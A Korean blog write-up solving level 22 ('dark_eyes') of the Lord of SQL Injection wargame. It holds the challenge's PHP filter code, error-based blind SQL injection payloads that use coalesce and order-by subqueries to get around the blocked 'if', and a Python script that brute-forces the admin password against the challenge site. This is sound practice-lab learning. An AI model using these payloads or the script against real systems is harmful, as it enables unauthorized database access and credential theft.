write-up/LOS write-up

LOS (Lord of SQL injection) 문제 22번 dark_eyes write-up

정보보호학과 새내기 2021. 7. 12. 14:51
반응형
SMALL

문제 22번 - dark_eyes

 

query : select id from prob_dark_eyes where id='admin' and pw=''

<?php
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");
  $query = "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit();
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes");
  highlight_file(__FILE__);
?>

일단 다른 문제들과 마찬가지로 php 코드가 주어져있다.

 

먼저 필터링함수를 확인하면 prob, _ , . , (), col , if, case, when, sleep, benchmark를 필터링하고 i를 통해 대소문자를 구분하지 않는 것을 확인할 수 있다.

<?php
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");
?>

 

clear 조건을 확인하기 위해 조건문 코드를 확인해보니 pw가 필요하다는 것을 알 수 있다. pw의 크기를 찾고 pw를 찾는 파이썬 코드를 제작해야겠다.

<?php
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes");
  highlight_file(__FILE__);
?>

 

아래 코드를 확인해보니 에러가 발생하면 빈화면을 출력하는 것을 알아내었다. 결국 error based sql injection을 이용해야겠다.

<?php
  $query = "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit();
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
?>

 

이번엔 if가 필터링된다는 것이 관건인데 if 대신 사용할 수 있는 함수인 coalesce함수이다.

coalesce(인자,인자,...)는 입력된 인자 순서대로 NULL이 아니면 반환하고 종료한다.

즉 coalesce(NULL,NULL,1,2,) 이렇게 주어진다면 1이 반환된는 형식이다.

 

이것을 이용하면 coalesce((select id where id='admin' and length(pw)=1),(select 1 union select 2))를 입력하면 pw의 길이가 1이면 where조건이 참이 되는 id인 admin이 반환되고 NULL이 아니므로 admin이 반환된다. 만약에 pw의 길이가 1이 아니면 where 조건이 거짓이 되므로 아무것도 반환되지 않고 NULL이므로 그 다음 인자로 넘어간다. --> 다음인자는 에러값을 반환하니깐 빈페이지로 이동

 

위 방법으로 pw=' or (select id where id='admin') = coalesce((select id where id='admin' and length(pw)=8), (select 1 union select 2))%23 을 입력했더니 화면이 출력되었다. 따라서 pw의 길이는 8이다.

 

if를 우회할 수 있는 방법을 찾다가 또 신기한 방법을 알게 되었는데 order by를 이용하는 것이다.

order by는 특정 순서로 정렬하기 위한 SQL인데 1 order by (select 1 from (select 1 union select 2)m where id='admin' and length(pw)=1)%23를 이용하면 된다.

where 조건이 참이면 행이 2개 생기고 거짓이면 아무것도 생기지 않는다. 행이 2개가 출력되면 order by 구문에서 error가 발생하고 그러면 빈 화면으로 이동하게 된다. 즉 빈화면으로 이동할 때의 pw값을 가져오면 된다.

이용하여 파이썬 코드를 작성해보았다.

import requests


url="https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?"
cookie = dict(PHPSESSID="쿠키값")

result=""

for i in range(1,9):
    for j in range(48,123):
        query = "pw=' or 1 order by (select 1 from (select 1 union select 2)m where id='admin' and substr(pw,{0},1)='{1}')%23".format(i,chr(j))
        URL = url+query
        res = requests.get(URL, cookies=cookie)
        if res.text.find("query")<0:
            result += chr(j)
            print(chr(j))
            break
print("pw :"+result)

위 코드를 실행시키면 아래 결과값이 나온다.

pw 찾는 파이썬 코드 실행

즉 pw는 5a2f5d3c이다.

 

따라서 pw=5a2f5d3c를 입력한다.

 

solve

https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw=5a2f5d3c

클리어 화면

반응형
LIST